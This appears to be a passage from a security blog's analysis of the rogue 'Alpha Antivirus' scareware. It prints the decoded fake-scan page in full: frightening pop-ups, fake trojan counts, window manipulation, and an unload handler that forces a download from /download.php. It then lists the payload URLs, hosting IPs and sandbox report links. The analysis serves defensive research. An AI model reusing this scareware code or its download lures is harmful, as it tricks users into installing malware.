}
document.write(tmp);


Decoding this is extremely easy (which surprises me), and shows it spits out the following;


<title>Computer Security</title>
<script type="text/javascript" src="img/jquery.js"></script>
<script type="text/javascript" src="img/jquery-init.js"></script>
<script type="text/javascript" src="img/drugndrop.js"></script>
<script>

var fnm=new Array();
fnm[0] = '$.inf';
fnm[1] = '12520437.cpx';
fnm[2] = '12520850.cpx';
fnm[3] = '6to4svc.dll';
fnm[4] = '.dll';
fnm[5] = 'aaclient.dll';
fnm[6] = 'AboutRepliGo.dll';
fnm[7] = 'ac3acm.acm';
fnm[8] = 'access.cpl';
fnm[9] = 'acctres.dll';
fnm[10] = 'accwiz.exe';
fnm[11] = 'acelpdec.ax';
fnm[12] = 'acledit.dll';
fnm[13] = 'aclui.dll';
fnm[14] = 'activeds.dll';
fnm[15] = 'activeds.tlb';
fnm[16] = 'actmovie.exe';
fnm[17] = 'actxprxy.dll';
fnm[18] = 'ADME.DLL';
fnm[19] = 'admparse.dll';
fnm[20] = 'admwprox.dll';
fnm[21] = 'admxprox.dll';
fnm[22] = 'adptif.dll';
fnm[23] = 'adsiis.dll';
fnm[24] = 'adsldp.dll';
fnm[25] = 'adsldpc.dll';
fnm[26] = 'adsmsext.dll';
fnm[27] = 'adsnds.dll';
fnm[28] = 'adsnt.dll';
fnm[29] = 'adsnw.dll';
fnm[30] = 'advapi32.dll';
fnm[31] = 'advpack.dll';
fnm[32] = 'agas.dll';
fnm[33] = 'ahui.exe';
fnm[34] = 'alg.exe';
fnm[35] = 'alrsvc.dll';
fnm[36] = 'amcompat.tlb';
fnm[37] = 'amstream.dll';
fnm[38] = 'ansi.sys';
fnm[39] = 'apcups.dll';
fnm[40] = 'append.exe';
fnm[41] = 'apphelp.dll';
fnm[42] = 'appmgmts.dll';
fnm[43] = 'appmgr.dll';
fnm[44] = 'appwiz.cpl';
fnm[45] = 'ArmAccess.dll';
fnm[46] = 'arp.exe';
fnm[47] = 'asctrls.ocx';
fnm[48] = 'asferror.dll';
fnm[49] = 'asfsipc.dll';
fnm[50] = 'asr_fmt.exe';
fnm[51] = 'asr_ldm.exe';
fnm[52] = 'asr_pfu.exe';
fnm[53] = 'asycfilt.dll';
fnm[54] = 'at.exe';
fnm[55] = 'AtalaImg2.dll';
fnm[56] = 'AtalaIS.dll';
fnm[57] = 'AtalCtrl.ocx';
fnm[58] = 'athprxy.dll';
fnm[59] = 'ati2cqag.dll';
fnm[60] = 'ati2dvag.dll';
fnm[61] = 'ati2edxx.dll';
fnm[62] = 'ati2evxx.dll';
fnm[63] = 'ati2evxx.exe';
fnm[64] = 'Ati2mdxx.exe';
fnm[65] = 'ati2sgag.exe';
fnm[66] = 'ati3duag.dll';
fnm[67] = 'ATIDDC.DLL';
fnm[68] = 'ATIDEMGR.dll';
fnm[69] = 'ATIDEMGX.dll';
fnm[70] = 'atifglpf.xml';
fnm[71] = 'atiicdxx.dat';
fnm[72] = 'atiiiexx.dll';
fnm[73] = 'atikvmag.dll';
fnm[74] = 'atioglx1.dll';
fnm[75] = 'atioglx2.dll';
fnm[76] = 'atioglxx.dll';
fnm[77] = 'atiok3x2.dll';
fnm[78] = 'atipdlxx.dll';
fnm[79] = 'atitvo32.dll';
fnm[80] = 'ativcoxx.dll';
fnm[81] = 'ativva5x.dat';
fnm[82] = 'ativva6x.dat';
fnm[83] = 'ativvaxx.dat';
fnm[84] = 'ativvaxx.dll';
fnm[85] = 'atkctrs.dll';
fnm[86] = 'atl.dll';
fnm[87] = 'atl71.dll';
fnm[88] = 'AtlColor.ocx';
fnm[89] = 'atmadm.exe';
fnm[90] = 'atmfd.dll';
fnm[91] = 'atmlib.dll';
fnm[92] = 'atmpvcno.dll';
fnm[93] = 'atrace.dll';
fnm[94] = 'attrib.exe';
fnm[95] = 'Audiodev.dll';
fnm[96] = 'audiosrv.dll';
fnm[97] = 'auditusr.exe';
fnm[98] = 'authz.dll';
fnm[99] = 'autochk.exe';
fnm[100] = 'autoconv.exe';
fnm[101] = 'autodisc.dll';
fnm[102] = 'AUTOEXEC.NT';
fnm[103] = 'autofmt.exe';
fnm[104] = 'autolfn.exe';
fnm[105] = 'avicap.dll';
fnm[106] = 'avicap32.dll';
fnm[107] = 'avifil32.dll';
fnm[108] = 'avifile.dll';
fnm[109] = 'avmeter.dll';
fnm[110] = 'avtapi.dll';
fnm[111] = 'avwav.dll';
fnm[112] = 'basesrv.dll';
fnm[113] = 'bass.dll';
fnm[114] = 'BASSMOD.dll';
fnm[115] = 'basswma.dll';
fnm[116] = 'batmeter.dll';
fnm[117] = 'batt.dll';
fnm[118] = 'BCGCBPRO800.dll';
fnm[119] = 'BCGCBPRO800u.dll';
fnm[120] = 'BCGPOleAcc.dll';
fnm[121] = 'bidispl.dll';
fnm[122] = 'bios1.rom';
fnm[123] = 'bios4.rom';
fnm[124] = 'bitsprx2.dll';
fnm[125] = 'bitsprx3.dll';
fnm[126] = 'blackbox.dll';
fnm[127] = 'blastcln.exe';
fnm[128] = 'bootcfg.exe';
fnm[129] = 'bootok.exe';
fnm[130] = 'bootvid.dll';
fnm[131] = 'bootvrfy.exe';
fnm[132] = 'bopomofo.uce';
fnm[133] = 'browselc.dll';
fnm[134] = 'browser.dll';
fnm[135] = 'browseui.dll';
fnm[136] = 'browsewm.dll';
fnm[137] = 'bt2k_ins.dll';
fnm[138] = 'BtAudioHelper.dll';
fnm[139] = 'btbigbmp.dll';
fnm[140] = 'btbip.dll';
fnm[141] = 'btcpl.cpl';
fnm[142] = 'btcpl.cpl.manifest';
fnm[143] = 'btcss.dll';
fnm[144] = 'btcss.dll.manifest';
fnm[145] = 'btdev.dll';
fnm[146] = 'bthci.dll';
fnm[147] = 'bthcrp.dll';
fnm[148] = 'bthcrpui.dll';
fnm[149] = 'bthprops.cpl';
fnm[150] = 'bthserv.dll';
fnm[151] = 'btins.dll';
fnm[152] = 'BTNCopy.dll';
fnm[153] = 'BTNCopy.tlb';
fnm[154] = 'BTNeighborhood.dll';
fnm[155] = 'BTNeighborhood.dll.manifest';
fnm[156] = 'BTNeighborhood.tlb';
fnm[157] = 'btosif.dll';
fnm[158] = 'btosif_notes.dll';
fnm[159] = 'btosif_ol.dll';
fnm[160] = 'btosif_olx.dll';
fnm[161] = 'btpanui.dll';
fnm[162] = 'btprn2k.dll';
fnm[163] = 'btrez.dll';
fnm[164] = 'btrezxp.dll';
fnm[165] = 'btsec.dll';
fnm[166] = 'btsendto.dll';
fnm[167] = 'btsendto_ie.dll';
fnm[168] = 'btsendto_lnagent.nsf';
fnm[169] = 'btsendto_notes.dll';
fnm[170] = 'btsendto_office.dll';
fnm[171] = 'btsendto_wab.dll';
fnm[172] = 'btwhidcs.dll';
fnm[173] = 'BtWiaExt.dll';
fnm[174] = 'BtWizard.dll';
fnm[175] = 'btwpimif.dll';
fnm[176] = 'btw_ci.dll';
fnm[177] = 'BTXPPanel.dll';
fnm[178] = 'BTXPPanel.tlb';
fnm[179] = 'BtXpShell.dll';
fnm[180] = 'C-XLS.dll';
fnm[181] = 'cabinet.dll';
fnm[182] = 'cabview.dll';
fnm[183] = 'cacls.exe';
fnm[184] = 'calc.exe';
fnm[185] = 'camocx.dll';
fnm[186] = 'capesnpn.dll';
fnm[187] = 'cards.dll';
fnm[188] = 'catsrv.dll';
fnm[189] = 'catsrvps.dll';
fnm[190] = 'catsrvut.dll';
fnm[191] = 'ccfgnt.dll';
fnm[192] = 'ccrpbds6.dll';
fnm[193] = 'ccrpprg6.ocx';
fnm[194] = 'cdfview.dll';
fnm[195] = 'cdm.dll';
fnm[196] = 'cdmodem.dll';
fnm[197] = 'cdosys.dll';
fnm[198] = 'cdplayer.exe.manifest';
fnm[199] = 'CDRip3.dll';
fnm[200] = 'certcli.dll';
fnm[201] = 'certmgr.dll';
fnm[202] = 'certmgr.msc';
fnm[203] = 'CEWMDM.dll';
fnm[204] = 'cfgbkend.dll';
fnm[205] = 'cfgmgr32.dll';
fnm[206] = 'charmap.exe';
fnm[207] = 'ChCfg.exe';
fnm[208] = 'chcp.com';
fnm[209] = 'chkdsk.exe';
fnm[210] = 'chkntfs.exe';
fnm[211] = 'ciadmin.dll';
fnm[212] = 'ciadv.msc';
fnm[213] = 'cic.dll';
fnm[214] = 'cidaemon.exe';
fnm[215] = 'ciodm.dll';
fnm[216] = 'cipher.exe';
fnm[217] = 'cisvc.exe';
fnm[218] = 'ckcnv.exe';
fnm[219] = 'clb.dll';
fnm[220] = 'clbcatex.dll';
fnm[221] = 'clbcatq.dll';
fnm[222] = 'cleanmgr.exe';
fnm[223] = 'cliconf.chm';
fnm[224] = 'cliconfg.dll';
fnm[225] = 'cliconfg.exe';
fnm[226] = 'cliconfg.rll';
fnm[227] = 'clipbrd.exe';
fnm[228] = 'clipsrv.exe';
fnm[229] = 'clspack.exe';
fnm[230] = 'clusapi.dll';
fnm[231] = 'cmcfg32.dll';
fnm[232] = 'cmd.exe';
fnm[233] = 'cmdial32.dll';
fnm[234] = 'CMDIALOG.SRG';
fnm[235] = 'cmdl32.exe';
fnm[236] = 'cmdlib.wsc';
fnm[237] = 'CmdLineExt.dll';
fnm[238] = 'cmmgr32.hlp';
fnm[239] = 'cmmon32.exe';
fnm[240] = 'cmos.ram';
fnm[241] = 'cmpbk32.dll';
fnm[242] = 'cmprops.dll';
fnm[243] = 'cmsetACL.dll';
fnm[244] = 'cmstp.exe';
fnm[245] = 'cmutil.dll';
fnm[246] = 'cnbjmon.dll';
fnm[247] = 'cnetcfg.dll';
fnm[248] = 'cnvfat.dll';
fnm[249] = 'colbact.dll';
fnm[250] = 'comaddin.dll';
fnm[251] = 'comcat.dll';
fnm[252] = 'comct232.ocx';
fnm[253] = 'comct332.ocx';
fnm[254] = 'COMCTL.SRG';
fnm[255] = 'COMCTL2.SRG';
fnm[256] = 'comctl32.dll';
fnm[257] = 'comctl32.ocx';
fnm[258] = 'comdlg32.dll';
fnm[259] = 'comdlg32.ocx';
fnm[260] = 'comm.drv';
fnm[261] = 'command.com';
fnm[262] = 'commdlg.dll';
fnm[263] = 'COMMTB32.DLL';
fnm[264] = 'comp.exe';
fnm[265] = 'compact.exe';
fnm[266] = 'CompareFilesX.ocx';
fnm[267] = 'compatUI.dll';
fnm[268] = 'compmgmt.msc';
fnm[269] = 'compobj.dll';
fnm[270] = 'compstui.dll';
fnm[271] = 'comrepl.dll';
fnm[272] = 'comres.dll';
fnm[273] = 'comsnap.dll';
fnm[274] = 'comsvcs.dll';
fnm[275] = 'comuid.dll';
fnm[276] = 'config.hsp';
fnm[277] = 'CONFIG.NT';
fnm[278] = 'CONFIG.TMP';
fnm[279] = 'confmsp.dll';
fnm[280] = 'conime.exe';
fnm[281] = 'console.dll';
fnm[282] = 'control.exe';
fnm[283] = 'convert.exe';
fnm[284] = 'convlog.exe';
fnm[285] = 'corpol.dll';
fnm[286] = 'country.sys';
fnm[287] = 'credui.dll';
fnm[288] = 'crtdll.dll';
fnm[289] = 'crypt32.dll';
fnm[290] = 'cryptdlg.dll';
fnm[291] = 'cryptdll.dll';
fnm[292] = 'cryptext.dll';
fnm[293] = 'cryptnet.dll';
fnm[294] = 'cryptsvc.dll';
fnm[295] = 'cryptui.dll';
fnm[296] = 'cscdll.dll';
fnm[297] = 'cscript.exe';
fnm[298] = 'cscui.dll';
fnm[299] = 'CSH.DLL';
fnm[300] = 'csrsrv.dll';
fnm[301] = '.exe';
fnm[302] = 'csseqchk.dll';
fnm[303] = 'CSVSpecialProcessing.dll';
fnm[304] = 'ctfmon.exe';
fnm[305] = 'ctl3d32.dll';
fnm[306] = 'ctl3dv2.dll';
fnm[307] = 'ctype.nls';
fnm[308] = 'c_037.nls';
fnm[309] = 'c_10000.nls';
fnm[310] = 'c_10006.nls';
fnm[311] = 'c_10007.nls';
fnm[312] = 'c_10010.nls';
fnm[313] = 'c_10017.nls';
fnm[314] = 'c_10029.nls';
fnm[315] = 'c_10079.nls';
fnm[316] = 'c_10081.nls';
fnm[317] = 'c_10082.nls';
fnm[318] = 'c_1026.nls';
fnm[319] = 'c_1250.nls';
fnm[320] = 'c_1251.nls';
fnm[321] = 'c_1252.nls';
fnm[322] = 'c_1253.nls';
fnm[323] = 'c_1254.nls';
fnm[324] = 'c_1255.nls';
fnm[325] = 'c_1256.nls';
fnm[326] = 'c_1257.nls';
fnm[327] = 'c_1258.nls';
fnm[328] = 'c_20127.nls';
fnm[329] = 'c_20261.nls';
fnm[330] = 'c_20866.nls';
fnm[331] = 'c_20905.nls';
fnm[332] = 'c_21866.nls';
fnm[333] = 'c_28591.nls';
fnm[334] = 'c_28592.nls';
fnm[335] = 'c_28593.nls';
fnm[336] = 'C_28594.NLS';
fnm[337] = 'C_28595.NLS';
fnm[338] = 'C_28597.NLS';
fnm[339] = 'c_28598.nls';
fnm[340] = 'c_28599.nls';
fnm[341] = 'c_28603.nls';
fnm[342] = 'c_28605.nls';
fnm[343] = 'c_437.nls';
fnm[344] = 'c_500.nls';
fnm[345] = 'c_737.nls';
fnm[346] = 'c_775.nls';
fnm[347] = 'c_850.nls';
fnm[348] = 'c_852.nls';
fnm[349] = 'c_855.nls';
fnm[350] = 'c_857.nls';
fnm[351] = 'c_860.nls';
fnm[352] = 'c_861.nls';
fnm[353] = 'c_863.nls';
fnm[354] = 'c_865.nls';
fnm[355] = 'c_866.nls';
fnm[356] = 'c_869.nls';
fnm[357] = "fdff.fd";
fnm[358] = 'c_875.nls';
fnm[359] = 'c_932.nls';
fnm[360] = 'c_936.nls';
fnm[361] = 'c_949.nls';
fnm[362] = 'c_950.nls';
fnm[363] = 'd3d8.dll';
fnm[364] = 'd3d8caps.dat';
fnm[365] = 'd3d8thk.dll';
fnm[366] = 'd3d9.dll';
fnm[367] = 'd3d9caps.dat';
fnm[368] = 'd3dim.dll';
fnm[369] = 'd3dim700.dll';
fnm[370] = 'd3dpmesh.dll';
fnm[371] = 'd3dramp.dll';
fnm[372] = 'd3drm.dll';
fnm[373] = 'd3dx9_24.dll';
fnm[374] = 'd3dx9_25.dll';
fnm[375] = 'd3dx9_26.dll';
fnm[376] = 'd3dx9_27.dll';
fnm[377] = 'd3dx9_28.dll';
fnm[378] = 'd3dx9_29.dll';
fnm[379] = 'd3dx9_30.dll';
fnm[380] = 'd3dx9_31.dll';
fnm[381] = 'd3dx9_32.dll';
fnm[382] = 'd3dxof.dll';
fnm[383] = 'danim.dll';
fnm[384] = 'dataclen.dll';
fnm[385] = 'datime.dll';
fnm[386] = 'davclnt.dll';
fnm[387] = 'daxctle.ocx';
fnm[388] = 'dbgeng.dll';
fnm[389] = 'dbghelp.dll';
fnm[390] = 'dbmsrpcn.dll';
fnm[391] = 'DBMSSHRN.DLL';
fnm[392] = 'DBMSSOCN.DLL';
fnm[393] = 'dbnetlib.dll';
fnm[394] = 'dbnmpntw.dll';
fnm[395] = 'Dcache.bin';
fnm[396] = 'dciman32.dll';
fnm[397] = 'dcomcnfg.exe';
fnm[398] = 'ddeml.dll';
fnm[399] = 'ddeshare.exe';
fnm[400] = 'ddraw.dll';
fnm[401] = 'ddrawex.dll';
fnm[402] = 'debug.exe';
fnm[403] = 'defrag.exe';
fnm[404] = 'desk.cpl';
fnm[405] = 'deskadp.dll';
fnm[406] = 'deskmon.dll';
fnm[407] = 'deskperf.dll';
fnm[408] = 'desktop.ini';
fnm[409] = 'devenum.dll';
fnm[410] = 'devmgmt.msc';
fnm[411] = 'devmgr.dll';
fnm[412] = 'dfrg.msc';
fnm[413] = 'dfrgfat.exe';
fnm[414] = 'dfrgntfs.exe';
fnm[415] = 'dfrgres.dll';
fnm[416] = 'dfrfnmnap.dll';
fnm[417] = 'dfrgui.dll';
fnm[418] = 'dfshim.dll';
fnm[419] = 'dfsshlex.dll';
fnm[420] = 'dgnet.dll';
fnm[421] = 'dgrpsetu.dll';
fnm[422] = 'dfnmetup.dll';
fnm[423] = 'dhcpcsvc.dll';
fnm[424] = 'dhcpmon.dll';
fnm[425] = 'dhcpsapi.dll';
fnm[426] = 'diactfrm.dll';
fnm[427] = 'diantz.exe';
fnm[428] = 'DiffDoc.CNT';
fnm[429] = 'DiffDoc.HLP';
fnm[430] = 'digest.dll';
fnm[431] = 'dimap.dll';
fnm[432] = 'dinput.dll';
fnm[433] = 'dinput8.dll';
fnm[434] = 'diskcomp.com';
fnm[435] = 'diskcopy.com';
fnm[436] = 'diskcopy.dll';
fnm[437] = 'diskmgmt.msc';
fnm[438] = 'diskpart.exe';
fnm[439] = 'diskperf.exe';
fnm[440] = 'dispex.dll';
fnm[441] = 'dllhost.exe';
fnm[442] = 'dllhst3g.exe';
fnm[443] = 'dmadmin.exe';
fnm[444] = 'dmband.dll';
fnm[445] = 'dmcompos.dll';
fnm[446] = 'dmconfig.dll';
fnm[447] = 'dmdlfnm.dll';
fnm[448] = 'dmdskmgr.dll';
fnm[449] = 'dmdskres.dll';
fnm[450] = 'dmime.dll';
fnm[451] = 'dmintf.dll';
fnm[452] = 'dmloader.dll';
fnm[453] = 'dmocx.dll';
fnm[454] = 'dmremote.exe';
fnm[455] = 'dmscript.dll';
fnm[456] = 'dmserver.dll';
fnm[457] = 'dmstyle.dll';
fnm[458] = 'dmsynth.dll';
fnm[459] = 'dmusic.dll';
fnm[460] = 'dmutil.dll';
fnm[461] = 'dmview.ocx';
fnm[462] = 'dns-sd.exe';
fnm[463] = 'dnsapi.dll';
fnm[464] = 'dnsrslvr.dll';
fnm[465] = 'dnssd.dll';
fnm[466] = 'docprop.dll';
fnm[467] = 'docprop2.dll';
fnm[468] = 'doskey.exe';
fnm[469] = 'dosx.exe';
fnm[470] = 'dpcdll.dll';
fnm[471] = 'dplay.dll';
fnm[472] = 'dplaysvr.exe';
fnm[473] = 'dplayx.dll';
fnm[474] = 'dpmodemx.dll';
fnm[475] = 'dpnaddr.dll';
fnm[476] = 'dpnet.dll';
fnm[477] = 'dpnhpast.dll';
fnm[478] = 'dpnhupnp.dll';
fnm[479] = 'dpnlobby.dll';
fnm[480] = 'dpnmodem.dll';
fnm[481] = 'dpnsvr.exe';
fnm[482] = 'dpnwsock.dll';
fnm[483] = 'dpserial.dll';
fnm[484] = 'dpvacm.dll';
fnm[485] = 'dpvoice.dll';
fnm[486] = 'dpvsetup.exe';
fnm[487] = 'dpvvox.dll';
fnm[488] = 'dpwsock.dll';
fnm[489] = 'dpwsockx.dll';
fnm[490] = 'Drake.dll';
fnm[491] = 'DrakeCom.dll';
fnm[492] = 'driverquery.exe';
fnm[493] = 'drmclien.dll';
fnm[494] = 'drmupgds.exe';
fnm[495] = 'drmv2clt.dll';
fnm[496]= 'drprov.dll';
fnm[497] = 'DRVSSRVR.HLP';
fnm[498] = 'DRVVFP.CNT';
fnm[499] = 'DRVVFP.HLP';
fnm[500] = 'drwatson.exe';
fnm[501] = 'drwtsn32.exe';
fnm[502] = 'ds16gt.dLL';
fnm[503] = 'ds32gt.dll';
fnm[504] = 'dsauth.dll';
fnm[505] = 'dsdmo.dll';
fnm[506] = 'dsdmoprp.dll';
fnm[507] = 'dskquota.dll';
fnm[508] = 'dskquoui.dll';
fnm[509] = 'dsound.dll';


var pinter;var ss=15;var teracti=0;
function hideWarnDialog()
{
if(confirm('You should install this security software to protect your computer.')) {

}
else {
emilion();
};
};
function emilion(){
alert('Harmfull spyware or adware software. Such vulnerabilities can destroy or steal your private info and mail. On-lines scan should install Alpha Antivirus utilities to fix your pc. Please click Ok to download and install Alpha Antivirus tool. ');
}
function update()
{
if ($(".progress_bar_fill").width()>0)
{
$("#progress_prcnt").html((
Math.round(100-$(
'.progress_bar_fill').width(
)/417*100))+'%');

$("#files1").html(fnm[Math.floor(Math.random()*fnm.length)] );
if ($(".progress_bar_fill").width()<350 && teracti==0)
{
document.getElementById('threat1').style.visibility = 'visible';
document.getElementById('desc').style.visibility = 'visible';
setInterval("$('#tc1').toggleClass('none')",1000);
teracti=1;
}
if ($(".progress_bar_fill").width()<200 && teracti==1)
{
document.getElementById('threat2').style.visibility = 'visible';
setInterval("$('#tc2').toggleClass('none')",1000);
teracti=2;
}
if ($(".progress_bar_fill").width()<100 && teracti==2)
{
document.getElementById('threat3').style.visibility = 'visible';
setInterval("$('#tc3').toggleClass('none')",1000);
setInterval("$('#tc4').toggleClass('none')",1000);
teracti=3;
}
}
else
{
clearInterval(pinter);
$(".files2").html("<b>System scanning completed. 431 Probably harmfull items was found!</b>");
setTimeout("pop2()",1000);
}
}
function Minimize()
{
window.innerWidth = 100;
window.innerHeight = 100;
window.screenX = screen.width;
window.screenY = screen.height;
alwaysLowered = true;
}
ww1 = screen.width;
ww2 = screen.height;
function Maximize() {window.moveTo(0,0);window.resizeTo( ww1, ww2 );}
function download() {
window.location='/download.php?id=2004-1';
}
function away()
{
w = window;
ua = navigator.userAgent;
v1 = ua.toLowerCase().indexOf('msie') != -1 && ua.toLowerCase().indexOf('opera') < 0;
x = 11;
eval('w.resizeTo(x*10,x*11-7)');
w.moveTo(v1 ? (screen.width - 100) >> 1 : 11027, v1 ? (screen.height - 100) >> 1 : 10659);
}
function pop1() {
confirm('Warning!!! '+
'Your personal computer needs to install antivirus software! Alpha Antivirus can perform fast and free virus and malicious software scan of your computer .');
}
function pop2() {
confirm('This computer is under attack.'+
' They can seriously harm your private data or files, and should be healed immediately. '+
'Return to Alpha Antivirus and download it secure to your PC');
pop4();
}
function pop3dsds() {
alert('Computer might be affected by spyware or other types of viruses! '+
'Your mail, passwords and private documents might be in danger, protect your PC immediately.'+
'Return to Alpha Antivirus and download it secure to your PC');
}
function pop4() {
document.getElementById('ap').style.display = 'block';
$(".left_bar").css("display","none");
$(".left_bar").css("display","block");
}
function sp2init(){
}
function loading() {
if (window.attachEvent)
away();
pop1();
Maximize();
window.focus();
}
function loaded() {
$("#white").css("display","none");
$("#page_progress").css("display","block");
$(".left_bar").css("display","none");
$(".left_bar").css("display","block");
$(".progress_bar_fill").animate({width:"0px"},ss*1000);
writegeoip();
pinter = setInterval(update,ss*10);
};
loading();
var exit = true;
var usePopDialog = true;
var nid=0;
var tid=431;
var mid=947;
var full=1;
var popDialogOptions = "dialogWidth:1024px; dialogHeight:768px; dialogTop:0px; dialogLeft:0px; edge:Raised; center:0; help:0; resizable:1; scroll:1; status:0";
var popWindowOptions = " scrollbars=1,menubar=1,toolbar=1,location=1,personalbar=1,status=1,resizable=1";
var clid = "7f09c9e1c55f7d63f02909a14c1a45e0";
var usePopDialog = true;
var isUsinfnmpecial = false;
dat=new Date(1258302473);
var ghf=dat.getHours()-dat.getUTCHours();
newurl = "/download.php?id=2004-1&dlth="+ghf;
var isXPSP2 = false;
var u = "6BF52A52-394A-11D3-B153-00C04F79FAA6";
function dddggg(){
if(!isXPSP2 && !usePopDialog) {
window.open(popURL,"",popWindowOptions);
}else if(!isXPSP2 && usePopDialog) {
eval("window.showModalDialog(popURL,'',popDialogOptions)");
}else{
iie.launchURL(popURL);
}
}
function ext(){
if(exit) {
exit=false;
emilion();
dddggg();
}
}
var popURL = newurl;
isUsinfnmpecial = true;
if (window.attachEvent)
eval("window.attachEvent('onunload',ext);");
else
window.addEventListener("unload", ext, false);
</script>

</head>
<body onLoad="loaded()">

<DIV id=ap style="LEFT: 0px; z-index:2; WIDTH: 100%; POSITION: absolute; TOP: 190px; display: none;" align=center>
<DIV style="cursor:hand; WIDTH: 434px; height:332px; POSITION: relative; background-image:url(img/001.gif); background-color:white;"><input type='button' style='POSITION: relative; width:21px; height:21px; left:200px; top:5px; border-width:0px; background-image:url(cb.gif)' onclick='hideWarnDialog();'><spacer width='446' height='294' /></DIV>
</div>

<div style="display: none;" id="white" class="white_div" align="center">
<div style="position: relative; top: 50%;"><img src="img/007.gif" width="51" height="19"> </div>
</div>
<div style="display: block;" class="left_bar">
<div class="left_header">System Tasks</div>
<div class="left_box">
<div class="left_box_line">
<img src="img/016.gif" class="left_bar_icon" width="14" height="16"><a href="#">View system information</a> </div>
<div class="left_box_line">
<img src="img/017.gif" class="left_bar_icon" width="16" height="16"> <a href="#">Add or remove programs</a> </div>
<div class="left_box_line">
<img src="img/018.gif" class="left_bar_icon" width="16" height="16"> <a href="#">Change a settinfnm</a> </div>
</div>
<div class="left_header">
Other Places </div>
<div class="left_box">
<div class="left_box_line">
<img src="img/012.gif" class="left_bar_icon" width="16" height="16"> <a href="#">My Network Places</a> </div>
<div class="left_box_line">
<img src="img/013.gif" class="left_bar_icon" width="16" height="16"> <a href="#">My Documents</a> </div>
<div class="left_box_line">
<img src="img/014.gif" class="left_bar_icon" width="16" height="14"> <a href="#">Shared Documents</a> </div>
<div class="left_box_line">
<img src="img/015.gif" class="left_bar_icon" width="16" height="16"> <a href="#">Control Panel</a> </div>
</div>
<div class="left_header">
Details </div>
<div class="left_box">
<div class="left_box_line"> <strong>My Computer</strong><br>
System Folder </div>
</div>
<div class="left_header">
Your Info </div>
<div class="left_box">
<div class="left_box_line">
<strong>IP: </strong><span style="color:#F00">82.39.123.56</span><br>
<strong>Country: </strong><span id="geoipcountry" style="color:#F00"></span><br>
<strong>City: </strong><span id="geoipcity" style="color:#F00"></span><br>
<div style="margin-top:5px; color:#F00"><strong>All information on this PC could be stolen</strong></div>
</div>
</div>
</div>

<div class="right_bar">
<div class="right_hr">
Computer Scan progress </div>
<div class="folder_box">
<div id="tc1" class="trojan none">
<img src="img/020.gif" width="15" align="absmiddle" height="18"><span class="trojan_caption">97 trojans</span> </div>

<img src="img/004.gif" class="folder_icon" width="43" height="40">Shared Documents </div>
<div class="folder_box">
<div id="tc2" class="trojan none">
<img src="img/020.gif" width="15" align="absmiddle" height="18"><span class="trojan_caption">334 trojans</span> </div>

<img src="img/004.gif" class="folder_icon" width="43" height="40">My Documents </div>
<div class="right_hr">
Hard drives </div>
<div class="folder_box">
<div id="tc3" class="trojan none">
<img src="img/020.gif" width="15" align="absmiddle" height="18"><span class="trojan_caption">353 trojans</span> </div>

<img src="img/005.gif" class="folder_icon" width="43" height="40">Local Disk (C:) </div>
<div class="folder_box">
<div id="tc4" class="trojan none">
<img src="img/020.gif" width="15" align="absmiddle" height="18"><span class="trojan_caption">78 trojans</span> </div>

<img src="img/005.gif" class="folder_icon" width="43" height="40">Local Disk (D:) </div>
<div class="right_hr">
DVD </div>
<div class="folder_box">
<img src="img/003.gif" class="folder_icon" width="43" height="40">DVD-RAM Drive (E:) </div>
<div class="progress_bar">
<div class="progress_bar_bg">
<div class="progress_bar_progress">
<div style=" display: block;" class="progress_bar_fill"> </div>
<div id="progress_prcnt">100%</div>
</div>
</div>
</div>
<div class="files2" style=" padding-top:3px;padding-left:15px;"><strong>Now scanning: <span id="files1"></span></strong></div>
<div class="window1">
<div style="font-size: 15px; font-weight: bold; color: white; padding-top: 14px; padding-left: 35px;">
Your Computer is Infected! </div>
<div style="padding-top: 22px;">
Threats and actions: </div>
<table border="0">
<tbody><tr>
<td width="166" class="td_cell1">Name</td>
<td class="td_cell1" width="105">Risk level</td>
<td width="85" class="td_cell1">Date</td>
<td width="120" class="td_cell1">Files infected</td>
<td width="120" class="td_cell1">State</td>
</tr>
<tr class="" id="threat1" style=" visibility:hidden;">
<td class="td_cell2"><img src="img/010.gif" style="padding-right: 5px;" align="absmiddle"> <b>W32/Virut.a!</b></td>
<td class="td_cell2"><b><font color="red">Critical</font></b></td>
<td class="td_cell2">11.18.2008</td>
<td class="td_cell2">36</td>
<td class="td_cell2">Waiting removal</td>
</tr>
<tr class="" id="threat2" style=" visibility:hidden;">
<td class="td_cell2"><img src="img/010.gif" style="padding-right: 5px;" align="absmiddle"> <b>Exploit-MSWord</b></td>
<td class="td_cell2"><b><font color="red">Critical</font></b></td>
<td class="td_cell2">11.18.2008</td>
<td class="td_cell2">65</td>
<td class="td_cell2">Waiting removal</td>
</tr>
<tr class="" id="threat3" style=" visibility:hidden;">
<td class="td_cell2"><img src="img/010.gif" style="padding-right: 5px;" align="absmiddle"> <b>Win 32:Delf-XQ</b></td>
<td class="td_cell2"><b><font color="red">Critical</font></b></td>
<td class="td_cell2">11.18.2008</td>
<td class="td_cell2">44</td>
<td class="td_cell2">Waiting removal</td>
</tr>
</tbody></table>

<div style=" visibility:hidden; padding-top: 12px; padding-left: 12px; width: 600px;" class="" id="desc">
<b>Description:</b><br>
This program is potentially dangerous for your system. <b>Trojan-Downloader</b> stealing passwords, credit cards and other personal information from your computer.
<br><br>
<b>Advice:</b><br>
You need to remove this threat as soon as possible! </div>
<div style="padding-top: 50px; padding-left: 590px;"><a href="/download.php?id=2004-1">Full system cleanup</a></div>
</div>
</div>
<div id="geoipdiv" style="display:none"></div>
<script language="javascript">Drag.init(document.getElementById('ap'));
function writegeoip(){
d=document.getElementById('geoipdiv');
d.innerHTML="<iframe width=1 height=1 border=0 src='geoip.php'></iframe>";
}
</script>
</body></html>


Identifying the download URL, shows the payload (in this case, Alpha Antivirus) comes from;

perfectscan01.com/load/A-Install90ca_2004-1.exe
IP: 89.248.162.149
IP PTR: Failed resolution
ASN: 29073 89.248.160.0/21 ECATEL-AS AS29073, Ecatel Network

VirusTotal results
http://www.virustotal.com/analisis/d3bdbafa378df250da5ecf72a5a6d0335e72e9c504c50a6f55cc72bd18a54eb7-1258303724

Anubis results
http://anubis.iseclab.org/?action=result&task_id=11f830b12b38a9b34914ffd134cc488e0

Threat Expert results show it also downloads the following using the Microsoft BITS (Background Intelligent Transfer Service) service;

firewallsecurityupdatesv2.com/directxcore.cpl
IP: 84.16.255.108
IP PTR: Resolution failed
ASN: 28753 84.16.224.0/19 NETDIRECT AS NETDIRECT Frankfurt, DE

Threat Expert results
http://www.threatexpert.com/report.aspx?md5=7717e0c4d5a7c093eb2e36406c198180

VirusTotal results
